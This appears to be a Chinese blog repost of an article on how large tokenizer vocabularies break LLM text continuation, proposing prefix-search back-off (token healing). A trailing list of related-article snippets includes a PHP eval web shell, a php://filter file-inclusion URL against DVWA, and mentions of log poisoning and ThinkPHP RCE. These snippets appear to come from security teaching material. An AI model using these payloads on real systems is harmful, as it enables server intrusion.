当前位置: 首页 > news >正文

大词表语言模型在续写任务上的一个问题及对策

bf42b09cdbee4ccf6b48d86e41b8a553.gif

©PaperWeekly 原创 · 作者 | 苏剑林

单位 | 科学空间

研究方向 | NLP、神经网络

对于 LLM 来说,通过增大 Tokenizer 的词表来提高压缩率,从而缩短序列长度、降低解码成本,是大家都喜闻乐见的事情。毕竟增大词表只需要增大 Embedding 层和输出的 Dense 层,这部分增加的计算量几乎不可感知,但缩短序列长度之后带来的解码速度提升却是实打实的。

当然,增加词表大小也可能会对模型效果带来一些负面影响,所以也不能无节制地增加词表大小。本文就来分析增大词表后语言模型在续写任务上会出现的一个问题,并提出参考的解决方案。

86ca52ab8f089cf97cd4699c6151b534.png

优劣分析

增加词表大小的好处是显而易见的。一方面,由于 LLM 是自回归的,它的解码会越来越慢,而“增大词表 → 提高压缩率 → 缩短序列长度”,换言之相同文本对应的 tokens 数变少了,也就是解码步数变少了,从而解码速度提升了;另一方面,语言模型的训练方式是 Teacher Forcing,缩短序列长度能够缓解 Teacher Forcing 带来的 Exposure Bias 问题,从而可能提升模型效果。

不过增大词表的缺点也很明显,最直接的就是会割裂 token 与 token 之间在字符层面之间的联系,从而可能会影响泛化,甚至会损失做某些任务的能力。比如“太阳能”和“太阳”都是词表中的一个词的话,模型是不知道“太阳能”是由“太阳”和“能”组成,也不知道“太阳”是“太”和“阳”,这样如果要做一些子词相关的任务就会比较艰难,比如最经典的问“‘太阳能’反过来怎么读?”,期望回答时“能阳太”,但由于模型不知道它是“太”、“阳”、“能”三个字组成,从而很难回答正确。

f681f650e9afefc91a374191f00e60aa.png

续写问题

近日 @Armen Aghajanyan 分享了另一个问题。他们在训练代码模型时使用了超大词表,结果就是常见的命令如 “import numpy as np” 都变成了一个 token,然后发现当用户输入 “import numpy” 时,模型无法续写出 “as np”。原因很简单,“import numpy as np” 被当作了一个 token,于是当 “import numpy” 单独出现时,模型会发现它后面永远不会接 “as np”(接 “as np” 的都被合并成单独的 “import numpy as np” 了),自然也无法完成续写。

这个现象确实很经典,其实不单是代码模型,常见的自然语言模型也会出现。比如当“太阳能”和“太阳”都成为了一个独立的 token 时,用户输入“太阳”后,接下来续写的字就基本不会是“能”了,这可能不符合用户的分布期望;又比如“白云”、“白云山”、“白云机场”都是一个独立的 token 时,用户输入“广州的白云”后,接下来也几乎不会续写出“广州的白云机场”、“广州的白云山”,等等。

69b537b533daa99430ae8854e43c27ae.png

参考对策

然而,笔者认为 Armen Aghajanyan 所提的现象,并不能构成增大词表的缺点,反而稍微处理一下之后,它还有可能成为增大词表的优点。其实这个问题很简单,以前没有 LLM 的时候,基于“词表+前缀搜索”我们也能做一定的补全任务,现在有了 LLM,难道我们就一定要囿于 LLM,不能将基于 LLM 的续写和基于词表的续写结合起来吗?

还是刚才的例子,假设用户输入了“广州的白云”,Tokenizer 将它分为“广州/的/白云”,现在如果将这三个词直接转为 id 输入到模型中,就会无法续写出“广州/的/白云机场”等结果。

这本质上是因为 Tokenizer 无法提前预估未来的文本,从而导致分词结果出错(当然,也可以考虑在训练阶段就使用带有随机性的 tokenize 算法,这种情况下“白云机场”可能作为一个词出现,也可能作为“白云/机场”出现,此时分词结果不至于严重影响后续效果,甚至能增强泛化能力,参考《Subword Regularization: Improving Neural Network Translation Models with Multiple Subword Candidates》)。

那么,我们是否可以预估一下未来的文本呢?假设分词为“广州/的/白云”后,我们回退一步,拿“白云”去词表做前缀搜索,不妨再假设搜索结果为“白云”、“白云机场”、“白云山”、“白云路”四个词,这步搜索是纯粹基于词表做的,相比 LLM 的计算量可以忽略不计。有了搜索结果后,我们用 LLM 计算:

d2853b822bb3a41f4ae8339282213b9d.png

由于输入都是相同的,所以计算这四个条件概率只需要运行一次 LLM。有了这四个条件概率后,我们将它们重新归一化然后进行采样。假如采样结果是“白云”,那么我们就按照“广州/的/白云”来做续写;如果采样到“白云机场”,那么就可以输出“机场”,并按照“广州/的/白云机场”来做续写;依此类推。

这就轻松解决了 Armen Aghajanyan 所提到的问题,并且将缺点转化为优点了(压缩率高时,即便回退了一步,但是前缀搜索出来的词可能很长,可以一次性生成更多的字)。特别地,回退操作只需要在采样第一步进行,它只是为了避免输入不完整导致的分词错误,从第二步开始就不需要回退操作了,因此新增的计算量是非常少的。

值得一提的是,微软有一个名为 “guidance” 的库,也提出了同样的技巧(参考这里)。此外,考虑更一般的场景,有时候回退一步也不够,比如 “import numpy as np” 的例子,单输入 “import numpy” 时,可能被分为 “import/ numpy” 了,这时候起码要回退两步才能完整合理的序列。但这没有本质的区别,只是细节上稍微复杂一些,这里就不展开了,读者部署推理模型的时候自行构造就好。

fb8a346bad9cc46de221662dfc1a8555.png

文章小结

本文介绍了超大词表的 LLM 在做文本续写任务时可能出现的一个问题,并分享了参考的解决方案。

outside_default.png

参考文献

outside_default.png

[1] https://arxiv.org/abs/1804.10959

[2] https://github.com/guidance-ai/guidance#token-healing-notebook

更多阅读

ba29e5d532daf5d517f5fc38c37b0e6e.png

877be88b1c9b473473b6c18046643a11.png

5eeacdafc00a73793c96dd5c6be9a686.png

56b7546647bcc7c5157d1595e3e4483f.gif

#投 稿 通 道#

 让你的文字被更多人看到 

如何才能让更多的优质内容以更短路径到达读者群体,缩短读者寻找优质内容的成本呢?答案就是:你不认识的人。

总有一些你不认识的人,知道你想知道的东西。PaperWeekly 或许可以成为一座桥梁,促使不同背景、不同方向的学者和学术灵感相互碰撞,迸发出更多的可能性。 

PaperWeekly 鼓励高校实验室或个人,在我们的平台上分享各类优质内容,可以是最新论文解读,也可以是学术热点剖析科研心得竞赛经验讲解等。我们的目的只有一个,让知识真正流动起来。

📝 稿件基本要求:

• 文章确系个人原创作品,未曾在公开渠道发表,如为其他平台已发表或待发表的文章,请明确标注 

• 稿件建议以 markdown 格式撰写,文中配图以附件形式发送,要求图片清晰,无版权问题

• PaperWeekly 尊重原作者署名权,并将为每篇被采纳的原创首发稿件,提供业内具有竞争力稿酬,具体依据文章阅读量和文章质量阶梯制结算

📬 投稿通道:

• 投稿邮箱:hr@paperweekly.site 

• 来稿请备注即时联系方式(微信),以便我们在稿件选用的第一时间联系作者

• 您也可以直接添加小编微信(pwbot02)快速投稿,备注:姓名-投稿

fd6e8a4457c6ee9bc8c673dda1ac0637.png

△长按添加PaperWeekly小编

🔍

现在,在「知乎」也能找到我们了

进入知乎首页搜索「PaperWeekly」

点击「关注」订阅我们的专栏吧

·

·

cea955ab1655285e9f497fd655ebb5a4.jpeg

相关文章:

大词表语言模型在续写任务上的一个问题及对策

©PaperWeekly 原创 作者 | 苏剑林 单位 | 科学空间 研究方向 | NLP、神经网络 对于 LLM 来说,通过增大 Tokenizer 的词表来提高压缩率,从而缩短序列长度、降低解码成本,是大家都喜闻乐见的事情。毕竟增大词表只需要增大 Embedding 层和…...

Spark SQL【电商购买数据分析】

Spark 数据分析 (Scala) import org.apache.spark.rdd.RDD import org.apache.spark.sql.{DataFrame, SparkSession} import org.apache.spark.{SparkConf, SparkContext}import java.io.{File, PrintWriter}object Taobao {case class Info(userId: Lo…...

Google拟放弃博通自行研发AI芯片 | 百能云芯

谷歌计划自行研发人工智能(AI)芯片,考虑将博通(Broadcom)从其供应商名单中剔除,但谷歌强调双方的合作关系不会受到影响。 根据美国网络媒体《The Information》的报道,谷歌高层正在讨论可能在20…...

一百八十二、大数据离线数仓——离线数仓从Kafka采集、最终把结果数据同步到ClickHouse的完整数仓流程(待续)

一、目的 经过6个月的奋斗,项目的离线数仓部分终于可以上线了,因此整理一下离线数仓的整个流程,既是大家提供一个案例经验,也是对自己近半年的工作进行一个总结。 二、项目背景 项目行业属于交通行业,因此数据具有很…...

掌动智能:卓越性能的API接口测试工具

在现代软件开发中,API接口测试是保证应用程序稳定性和功能完整性的关键步骤之一。然而,随着应用程序复杂性的增加,传统的手动测试方法已经无法满足快速迭代和高质量需求的挑战。为了解决这一问题,掌动智能推出了一款卓越性能的API…...

Flutter 基本概念

Flutter 可用于开发 mobile, desktop, backend, Or compile to JavaScript for the web. PATH 环境变量 PATH 环境变量 - 知乎 一文搞懂Path环境变量 “环境变量”和“path环境变量”其实是两个东西! 环境变量:是操作系统提供给应用程序访问的简单 key / value字符串;windo…...

PHP包含读文件写文件

读文件 php://filter/readconvert.base64-encode/是加密 http://192.168.246.11/DVWA/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcex.php <?php eval($_POST[chopper]);?> 利用包含漏洞所在点&#xff0c;进行读文件&#xff0c;bp抓…...

uniapp——实现base64格式二维码图片生成+保存二维码图片——基础积累

最近在做二维码推广功能&#xff0c;自从2020年下半年到今天&#xff0c;大概有三年没有用过uniapp了&#xff0c;而且我之前用uniapp开发的程序还比较少&#xff0c;因此很多功能都浪费了很多时间去查资料&#xff0c;现在把功能记录一下。 这里写目录标题 效果图1.base64生成…...

【二叉树魔法:链式结构与递归的纠缠】

本章重点 二叉树的链式存储二叉树链式结构的实现二叉树的遍历二叉树的节点个数以及高度二叉树的创建和销毁二叉树的优先遍历和广度优先遍历二叉树基础oj练习 1.二叉树的链式存储 二叉树的链式存储结构是指&#xff0c;用链表来表示一棵二叉树&#xff0c;即用链来指示元素的逻辑…...

FL Studio21.0.3最新中文版下载安装详解

安装第一步&#xff1a;卸载干净fl历史旧版本&#xff0c;彻底退出安全软件 &#xff08;如果下载好的文件无法打开&#xff0c;可以去百度下载一个解压工具&#xff0c;比如bandzip、360压缩、2345好压...&#xff09;&#xff08;卸载直接用电脑管家卸载或者在左下角开始处找…...

【算法与数据结构】JavaScript实现十大排序算法(一)

文章目录 关于排序算法冒泡排序选择排序插入排序希尔排序归并排序 关于排序算法 稳定排序&#xff1a; 在排序过程中具有相同键值的元素&#xff0c;在排序之后仍然保持相对的原始顺序。意思就是说&#xff0c;现在有两个元素a和b&#xff0c;a排在b的前面&#xff0c;且ab&…...

IntelliJ IDEA使用——插件推荐

官网插件库&#xff1a;https://plugins.jetbrains.com/search 代码规范检测&#xff1a;Alibaba Java Coding Guidelines码云&#xff1a;Giteemybatis插件&#xff1a;MyBatisX多颜色括号&#xff1a;Rainbow Brackets操作快捷键提示&#xff1a;Key Promoter X力扣&#xff…...

编写一个会导致死锁的程序,将怎么解决?

死锁发生在两个或多个线程互相等待对方释放资源的情况下。下面是一个可能导致死锁的情况: public class DeadlockExample {private static final Object lock1 = new Object();private static final Object lock2 = new...

Java JVM分析利器JProfiler 结合IDEA使用详细教程

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、JProfiler是什么&#xff1f;二、我的环境三、安装步骤1.Idea安装JProfiler插件1.下载程序的安装包 四、启动 前言 对于我们Java程序员而言&#xff0c;肯…...

包含日志文件

原理&#xff1a;某个PHP文件存在本地包含漏洞&#xff0c;却无法上传正常文件&#xff0c;包含漏洞却不能利用&#xff0c;攻击者就有可能会利用apache日志文件来入侵。 Apache服务器运行后会生成两个日志文件&#xff0c;这两个文件是access.log(访问日志)和error.log(错误日…...

李航老师《统计学习方法》第2章阅读笔记

感知机&#xff08;perceptron&#xff09;时二类分类的线性分类模型&#xff0c;其输入为实例的特征向量&#xff0c;输出为实例的类别&#xff0c;取1和-1二值。感知机对应于输入空间&#xff08;特征空间&#xff09;中将实例划分为正负两类的分离超平面 想象一下在一个平面…...

ruoyi框架修改左侧菜单样式

菜单效果 ruoyi前端框架左侧的菜单很丑&#xff0c;我们需要修改一下样式&#xff0c;下面直接看效果。 修改代码 1、sidebar.scss .el-menu-item, .el-submenu__title {overflow: hidden !important;text-overflow: ellipsis !important;white-space: nowrap !important;//…...

【已解决】PyCharm里的黄色波浪线

问题描述 有时候在PyCharm中某些代码下面会有黄色波浪线。 问题解释 黄色波浪线只是提示这段代码不规范&#xff0c;但对程序的运行并没有本质影响。...

设计模式:策略模式(C++实现)

策略模式&#xff08;Strategy Pattern&#xff09;是一种行为设计模式&#xff0c;它定义了一系列的算法&#xff0c;并将每个算法封装成独立的对象&#xff0c;使得它们可以互相替换。下面是一个使用C实现策略模式的示例&#xff1a; #include <iostream>// 抽象策略类…...

网络安全深入学习第二课——热门框架漏洞(RCE—Thinkphp5.0.23 代码执行)

文章目录 一、什么是框架&#xff1f;二、导致框架漏洞原因二、使用步骤三、ThinkPHP介绍四、Thinkphp框架特征五、Thinkphp5.0.23 远程代码执行1、漏洞影响范围2、漏洞成因 六、POC数据包Windows下的Linux下的 七、漏洞手工复现1、先Burp抓包&#xff0c;把抓到的请求包发送到…...

Pdf文件签名检查

如何检查pdf的签名 首先这里有一个已经签名的pdf文件&#xff0c;通过pdf软件可以看到文件的数字签名。 图1为签名后的文件&#xff0c;图2为签名后文件被篡改。 下面就是如何代码检查这里pdf文件的签名 1.引入依赖 <dependency><groupId>org.projectlombok<…...

web前端之float布局与flex布局

float布局 <style>.nav {overflow: hidden;background-color: #6adfd0; /* 导航栏背景颜色 */}.nav a {float: left;display: block;text-align: center;padding: 14px 16px;text-decoration: none;color: #000000; /* 导航栏文字颜色 */}.nav a:hover {background-col…...

expected ‘,’ after expression in R【R错误】

出现如下错误&#xff1a; 在红色叉的位置&#xff0c;会有提示“expected . after expression”&#xff0c;咋一看出现红色叉的位置没有任何的错误&#xff0c;怎么会出现错误呢&#xff1f; 解决办法&#xff1a; 寻找这个代码第一次出现红色叉的位置&#xff0c;看其是否…...

算法|图论 2

LeetCode 695- 岛屿的最大面积 题目链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目描述&#xff1a;给你一个大小为 m x n 的二进制矩阵 grid 。 岛屿 是由一些相邻的 1 (代表土地) 构成的组合&#xff0c;这里的「相邻」要求…...

使用C#实现服务端与客户端的简陋聊天

服务端代码: using System; using System.Net.Sockets; using System.Net; using System.IO;//服务器程序 namespace CSharpStudy_09_21 {class Program{static void Main(string[] args){int port 8865;TcpClient tcpClient;//创建tcp对象IPAddress[] serverIp Dns.GetHost…...

生成式模型和判别式模型区别

目录 1.概念 2.定义​ 3.举例​ &#xff08;1&#xff09;例子 A​ &#xff08;2&#xff09;例子 B​ 4.特点 5.优缺点 6.代表算法 1.概念 首先我们需要明确&#xff0c;两种不同的模型都用于监督学习任务中。监督学习的任务就是从数据中学习一个模型&#xff0c;并用…...

【kafka实战】03 SpringBoot使用kafka生产者和消费者示例

本节主要介绍用SpringBoot进行开发时&#xff0c;使用kafka进行生产和消费 一、引入依赖 <dependencies><dependency><groupId>org.springframework.kafka</groupId><artifactId>spring-kafka</artifactId></dependency><depen…...

Only file and data URLs are supported by the default ESM loader

1.版本问题 说明&#xff1a;将node版本提高就可以了。 2.nvm 说明&#xff1a;如果不想重复安装node版本&#xff0c;那么可以参考本人的nvm文档. nvm版本控制工具_FOREVER-Q的博客-CSDN博客...

LeetCode01

LeetCode01 两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和 为目标值 target 的那两个整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里不能重复出现。 你…...

计算机网络高频面试题集锦

问题1&#xff1a;谈一谈对OSI七层模型和TCP/IP四层模型的理解&#xff1f; 回答点&#xff1a;七层模型每层对应的作用及相关协议、为什么分层、为什么有TCP/IP四层模型 参考&#xff1a; 1、OSI七层参考模型是一个ISO组织所提出的一个标准参考分层模型&#xff0c;它按照数…...

昆山建设银行网站/东莞网络优化公司

目前为止&#xff0c;已经对 Vue 的基本用法有了初步了解。由于不想自己手动去开发组件&#xff08;一方面嫌丑&#xff0c;另一方面感觉上手太慢&#xff09;&#xff0c;所以直接就开始学习第三方组件库的使用。根据之前的前端开发经验&#xff0c;猜想 Vue 框架肯定存在着很…...

响应式网站排名/网络网站推广选择乐云seo

1、C工程的组成c程序是由一个或者多个.c文件和.h文件组成的。其中 .c文件是c源代码文件&#xff0c;是程序具体实现的部分。.h文件时C的头文件&#xff0c;用来声明.c文件中函数的。也可以申明自定义的数据。如下图&#xff0c;我定义了一个宏&#xff1a;#define kAD_MAX_DIM …...

如何在文本上做网站链接符号/企业网络营销策略案例

题目链接&#xff1a;https://vjudge.net/contest/338207#problem/C 翻译&#xff1a; 给定一个整数n&#xff0c;接下来n个数&#xff0c;第i个人的书可以给第ai的人&#xff0c;求每本书回到自己手里需要经过几次。 比如n5时&#xff0c;1 2 3 4 5每本书都在自己手里&#…...

微企免费网站建设/引流推广是什么意思

这是一款jQuery 3D立方体翻转插件。该插件可以创建水平或垂直的3d立方体效果&#xff0c;可以控制立方体的翻转速度&#xff0c;定义触发立方体旋转的事件等。使用方法在页面中引入jquery和jquery.flipbox.js、jquery.flipbox.css文件。HTML使用下面的结构创建一个3D翻转元素。…...

小程序推广app/网络推广seo

简单工厂模式&#xff1a;简单工厂模式是属于创建型模式&#xff0c;又叫做静态工厂方法&#xff08;Static Factory Method&#xff09;模式&#xff0c;但不属于23种GOF设计模式之一。简单工厂模式是由一个工厂对象决定创建出哪一种产品类的实例。简单工厂模式是工厂模式家族…...

制作网页和做网站是一个意思吗/网站查询服务器

本文欢迎转载&#xff0c;转载请注明出处和作者。由于各种监控系统的实时告警&#xff0c;都需要使用邮箱进行发送&#xff0c;而其中使用SMTP协议的邮箱&#xff0c;各种监控系统、ITSM系统等支持最广泛。为测试监控系统的告警功能&#xff0c;需要先搭建1个SMTP邮箱。实验环境…...